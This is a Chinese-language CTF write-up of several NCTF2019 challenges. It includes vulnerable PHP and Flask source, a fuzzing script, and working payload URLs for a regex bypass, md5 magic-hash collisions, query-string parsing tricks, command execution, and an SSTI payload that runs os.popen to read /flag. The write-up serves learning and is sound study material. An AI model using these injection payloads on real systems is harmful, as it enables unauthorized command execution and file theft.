NCTF2019 小部分题解
前言
礼拜五领航杯打的比较累,做不出WEB,D3CTF没用,做了NJCTF的一些题目(懒,睡觉到12点起)
Misc
第一次比赛先去做misc,以前一直做WEB,以后要WEB+MISC做。礼拜六下午做的三道misc
A good idea
binwalk查看有zip,foremost分出来


用steg去比较图片,到sub时出现二维码,扫码得到flag

Pip install
这道题我感觉出的特别好,告诉我们pip安装的安全问题。

找到路径

翻遍了没东西,回过头来。想着setup.py会自动删除吗?不知道,回头看下pip安装原理

从源头下下来,查看setup.py


看到这里就知道pip安装的安全问题


直接base64解密得到flag
What’s this
数据包分析,http筛选

右键复制为hex流

保存为zip,打开一个txt

Base64隐写
网上找脚本跑了一下
NCTF{dbb2ef54afc2877ed9973780606a3c8b}
WEB
用了今天一个下午做出来了三题(菜)。害怕题目环境会关,20.40赶紧写wp记录
Fake XML cookbook
xxe外部实体直接可以打出来,没记WP
Easyphp
这道题是我最喜欢的一道题目,考了几个知识点,从15点做到了17.30,中途走了很多坑。保存了源码,可以给学弟讲讲
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q']; //1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('23333333');
} //2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
} //3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
die("too long :(");
} if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
$arr = explode(' ', $cmd);
if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
if(substr_count($cmd, 'cat') === 0){
system($cmd);
}
else{
die('ban cat :) ');
}
}
else{
die('bad guy!');
}
}
else{
die('nonono _ is bad');
}
?>
第一层
想fuzz出来的,然后发现踩坑了。必须加上index.php才行
import requests
for i in range(1, 256):
tmp = hex(i)[2:]
if len(tmp) < 2:
tmp = '0' + hex(i)[2:]
tmp = '%' + tmp
url = 'http://nctf2019.x1ct34m.com:60005/?num=' + '23333' + tmp
r = requests.get(url=url)
print i
# print url
if'23333333' not in r.content:
# print r.content
print url
因为踩坑,fuzz没出来,然后想了1个小时,想起来%0a换行绕过。
payload:记得+index.php
http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a
第二层
这是最耗我时间的一层,也是踩坑,很蠢。这道题跟jactf的audit有点点像,因为strtr的原因,所以印象深刻。踩坑的记录也是fuzz
一开始用的10W(100W,搞错了)
import hashlib
def md5(f):
p = hashlib.md5(f).hexdigest()
return p
for i in range(0, 1000000):
if 'c' in md5(str(i))[0:2]:
if 'a' not in md5(str(i))[2:]:
if 'b' not in md5(str(i))[2:]:
if 'e' not in md5(str(i))[2:]:
if 'd' not in md5(str(i))[2:]:
if 'f' not in md5(str(i))[2:]:
print 'i:' + str(i) + ' md5:' + md5(str(i))

让c替换为0,我是想先找前两位有带C,然后如果有ce,就能凑到0e。而且必须为全数字。
比如0e1123465 ==0e6549848
然后爆不出ce啊,一直就纳闷了。100W都不出来。像转化思路了,一个队友告诉我,那你就继续在大呗。调到1000W尝试

还真有ce开头的。
payload:
http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a&str1=9427417&str2=QNKCDZO
下次我把分析补齐了,先把wp写出来。
第三层
这一层也很有意思,涉及到之前的Roarctf中的easy_calc,在之前的文章中我介绍了http走私,第一种绕过的方法没有详细讲。
这里就涉及到了php字符串解析特性。
通过fuzz
可以绕过限制获得_的有
q%20w%20q
q%20w%5bq
payload:
http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a&str1=9427417&str2=QNKCDZO&q%20w%20q=a;%20ls%20-a

最后的命令执行,限制了cat,这里我用tac,区别就是反向输出。或者用tail都可以。
然后想到了通配符,可以减少字符串长度。
payload:
http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a&str1=9427417&str2=QNKCDZO&q%20w%20q=tac%20*php http://nctf2019.x1ct34m.com:60005/index.php?num=23333%0a&str1=9427417&str2=QNKCDZO&q%20w%20q=tail %20f*
前者直接页面有,后者是php,所以源代码查看


Flask
这道题很多人写出来,有两个功能点,一个base64,一个md5,在两个功能点尝试了很长时间无果,第三个页面没有注重,一个朋友提醒我第三个页面有问题。
然后开始研究第三个报错页面,buu刷题中flask通常会有ssti,session问题。这里肯定是ssti。
发现

尝试套路{{}}
。。flask环境关了。21.13。那就只能用之前放在doc里面的图片了

直接找的payload打

读一下/proc/self/cmdline,读到/app/app.py,直接读一下源码
#coding=utf-8
from flask import Flask,render_template
from flask import request
import hashlib
import base64
import sys
import urllib
from flask import render_template_string
if sys.getdefaultencoding() != 'utf-8':
reload(sys)
sys.setdefaultencoding('utf-8')
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def index():
return render_template("index.html")
@app.route('/md5',methods=['GET','POST'])
def md5():
string = request.form.get('string')
if string is None:
return render_template('md5.html')
else:
value = hashlib.md5()
value.update(string)
ans = value.hexdigest()
return render_template('md5.html',ans = ans)
@app.route('/base',methods=['GET','POST'])
def base():
string = request.form.get('string')
if string is None:
return render_template('base.html')
else:
ans = base64.b64encode(string)
return render_template('base.html',ans = ans)
@app.errorhandler(404)
def page_not_found(e):
if 'flag' in request.url:
template = '''
<div>
<h1>YOU CAN NOT READ FLAG!</h1>
</div>
'''
return render_template_string(template), 404
if '[' in request.url:
template = '''
<div>
<h1>NO PERMISSION FOR []</h1>
</div>
'''
return render_template_string(template), 404
else:
template = '''
<div>
<h1>This page has not been developed yet</h1>
<h1>%s</h3>
<h1>UNDER DEVELOPMENT</h1>
</div>
''' % urllib.unquote(request.url)
return render_template_string(template), 404
@app.errorhandler(500)
def error(e):
template = '''
<div>
<h1>NO!SOMETHING WRONG!</h1>
</div>
'''
return render_template_string(template), 500
if __name__ == '__main__':
app.run(host='0.0.0.0')
发现不能读/flag,于是去找了一个执行命令的payload,尝试用通配符读

payload:
/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat%20/fla*").read()')}
payload文章:
http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/
其他的web,等WP出来,一起分析学习。去看下EIS,之前还没看EIS的WEB呢。
官方WP:
http://ctf.njupt.edu.cn/298.html
NCTF2019 小部分题解的更多相关文章
- ZOJ 2112 Dynamic Rankings(树状数组套主席树 可修改区间第k小)题解
题意:求区间第k小,节点可修改 思路:如果直接用静态第k小去做,显然我更改一个节点后,后面的树都要改,这个复杂度太高.那么我们想到树状数组思路,树状数组是求前缀和,那么我们可以用树状数组套主席树,求出 ...
- SPOJ COT Count on a tree(树上主席树 + LCA 求点第k小)题解
题意:n个点的树,每个点有权值,问你u~v路径第k小的点的权值是? 思路: 树上主席树就是每个点建一棵权值线段树,具体看JQ博客,LCA用倍增logn求出,具体原理看这里 树上主席树我每个点的存的是点 ...
- 洛谷 P1120 小木棍 题解
每日一题 day54 打卡 Analysis 一,管理员已经在题目中告诉你输入时去掉长度大于50的木棍. 二,想好搜索什么.很明显我们要枚举把哪些棍子拼接成原来的长棍,而原始长度(原来的长棍的长度)都 ...
- HDU 3949 XOR (线性基第k小)题解
题意: 给出\(n\)个数,求出子集异或第\(k\)小的值,不存在输出-1. 思路: 先用线性基存所有的子集,然后对线性基每一位进行消元,保证只有\(d[i]\)的\(i\)位存在1,那么这样变成了一 ...
- [NOI2009] 诗人小G [题解]
诗人小G 题目大意 给出 \(n\) 个长度不超过 \(30\) 的句子,要求你对其进行排版. 对于每一行,有一个规定的行标准长度 \(L\) ,每一行的不协调度等于该行的实际长度与行标准长度差的绝对 ...
- bzoj1563: [NOI2009]诗人小G 决策单调性(1D1D)
目录 题目链接 题解 代码 题目链接 bzoj1563: [NOI2009]诗人小G 题解 \(n^2\) 的dp长这样 \(f_i = min(f_j + (sum_i - sum_j - 1 - ...
- 2016女生专场 ABCDEF题解 其他待补...
GHIJ待补... A.HUD5702:Solving Order Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/3276 ...
- CCF-CSP认证 C++题解目录
持续更新中,记录刷题过程并分享一下小小的心得总结. 试题编号 试题名称 标签 202006-1 线性分类器 | 题解 线性规划 202006-2 稀疏向量| 题解 归并排序思想 202006-3 化学 ...
- Codeforces 刷水记录
Codeforces-566F 题目大意:给出一个有序数列a,这个数列中每两个数,如果满足一个数能整除另一个数,则这两个数中间是有一条边的,现在有这样的图,求最大联通子图. 题解:并不需要把图搞出来, ...
随机推荐
- 北邮OJ103.反转单词 c++/java
103. 反转单词 时间限制 1000 ms 内存限制 65536 KB 题目描述 给出一句英文句子(只由大小写字母和空格组成,不含标点符号,也不会出现连续的空格),请将其中的所有单词顺序翻转 输入格 ...
- Mock测试,结合Fiddler轻松搞定不同场景
在平时测试过程中,总会遇到一些比较难构造的场景.比如不同平台间的同步,异常场景的构造.遇到难构造的场景时,就可以引用Mock来进行单元测试.简言之:mock测试就是在测试过程中,对于某些不容易构造或者 ...
- Arcgis License的安装及破解
1.双击LicenseManager安装目录下的Setup.exe. 2.点击“Next”. 3.选择“I accept the license agreement”,点击“Next”. 4.点击“C ...
- SpringCloud服务的注册发现--------Eureka
1,什么叫做服务的注册与发现 服务的注册与发现基于注册中心,注册中心本身是一个服务,也相当于一个载体,其他服务的注册需要注册到这个注册中心上. 注册:当服务器启动的时候,会将自己的服务器信息,通过别名 ...
- 电脑网络诊断显示Win10无法与设备或资源(DNS)通信解决办法
最近是做多错多还是人有点儿衰神附体,软件,电脑系统,各种问题层出不穷,今天早上打开电脑发现不少软件都无法联网,神马百度商桥,腾讯浏览器,百度云...昨天百度商桥打不开还以为是软件出了问题,因为火狐浏览 ...
- Lack of free swap space on Zabbix server
在模板(Template)里找到Linux OS模板,修改触发器 配置>模板>Template OS Linux>触发器 找到swap关键字 修改 {Template OS Linu ...
- POJ2182 Lost Cows 题解
POJ2182 Lost Cows 题解 描述 有\(N\)(\(2 <= N <= 8,000\))头母牛,每头母牛有自己的独一无二编号(\(1..N\)). 现在\(N\)头母牛站成一 ...
- canvas 实现手机图案解锁
参考☞: https://www.cnblogs.com/chenyingying0/ 先上效果图: 我是在 vue 里面实现js 文件 ,所以如果需要在vue 里面使用 可以将以下内容import ...
- jmeter实现接口关联的两种方式:正则表达式提取器和json提取器看这篇就够了
一.前言在开展接口测试或者是接口面试的过程中,我们会发现很多接口需要依赖前面的接口,需要我们动态从前面的接口返回中提取数据,也就是我们通常说的关联. 关联通俗来讲就是把上一次请求的返回内容中的部分截取 ...
- 看完这篇Exception 和 Error,和面试官扯皮就没问题了
在 Java 中的基本理念是 结构不佳的代码不能运行,发现错误的理想时期是在编译期间,因为你不用运行程序,只是凭借着对 Java 基本理念的理解就能发现问题.但是编译期并不能找出所有的问题,有一些 N ...